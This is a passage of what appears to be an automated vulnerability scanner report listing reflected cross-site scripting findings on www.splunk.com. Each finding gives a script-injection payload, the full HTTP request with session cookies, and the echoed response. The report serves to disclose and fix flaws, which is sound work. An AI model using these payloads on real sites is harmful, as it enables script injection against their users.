<script>alert(1)</script>2a06c6fb131/docs -->
...[SNIP]...

4.475. http://www.splunk.com/search/docs [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/search/docs

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload b1f41--><script>alert(1)</script>ce21d9d0fac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /search/docsb1f41--><script>alert(1)</script>ce21d9d0fac HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:52:06 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:52:06 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ce21d9d0fac -->
...[SNIP]...

4.476. http://www.splunk.com/search/docs [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/search/docs

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fad1"><script>alert(1)</script>d4904b444f2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/docs3fad1"><script>alert(1)</script>d4904b444f2 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:51 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:51 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:51 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19323

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<form action="/search/docs3fad1"><script>alert(1)</script>d4904b444f2" method="get" style="padding:0 10px 10px 0" onsubmit="return(v())">
...[SNIP]...

4.477. http://www.splunk.com/search/docs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/search/docs

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload d7f95--><script>alert(1)</script>603aa4eab3b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /search/docs?d7f95--><script>alert(1)</script>603aa4eab3b=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:58 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19470

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>603aa4eab3b=1 -->
...[SNIP]...

4.478. http://www.splunk.com/search/docs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/search/docs

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca2d1"><script>alert(1)</script>d8e75fd0476 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/docs?ca2d1"><script>alert(1)</script>d8e75fd0476=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:47 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:47 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:47 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<form action="/search/docs?ca2d1"><script>alert(1)</script>d8e75fd0476=1" method="get" style="padding:0 10px 10px 0" onsubmit="return(v())">
...[SNIP]...

4.479. http://www.splunk.com/services [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/services

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 4129f--><script>alert(1)</script>3de290fb327 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /services4129f--><script>alert(1)</script>3de290fb327 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34761

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3de290fb327 -->
...[SNIP]...

4.480. http://www.splunk.com/services [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/services

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b461c--><script>alert(1)</script>18e83a6bdce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /services?b461c--><script>alert(1)</script>18e83a6bdce=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:37 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34780

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>18e83a6bdce=1 -->
...[SNIP]...

4.481. http://www.splunk.com/solutions [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/solutions

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload fe6cc--><script>alert(1)</script>c05cba58d3a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /solutionsfe6cc--><script>alert(1)</script>c05cba58d3a HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:22:16 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:52:16 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:52:16 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c05cba58d3a -->
...[SNIP]...

4.482. http://www.splunk.com/solutions [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/solutions

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a5da2--><script>alert(1)</script>57c09440f05 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /solutions?a5da2--><script>alert(1)</script>57c09440f05=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43741

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>57c09440f05=1 -->
...[SNIP]...

4.483. http://www.splunk.com/support [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/support

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7a3f9--><script>alert(1)</script>3b8b3300f42 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /support7a3f9--><script>alert(1)</script>3b8b3300f42 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:07 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:07 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:07 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18299

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3b8b3300f42 -->
...[SNIP]...

4.484. http://www.splunk.com/support [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/support

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 26060--><script>alert(1)</script>1685cc03ca5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /support?26060--><script>alert(1)</script>1685cc03ca5=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; 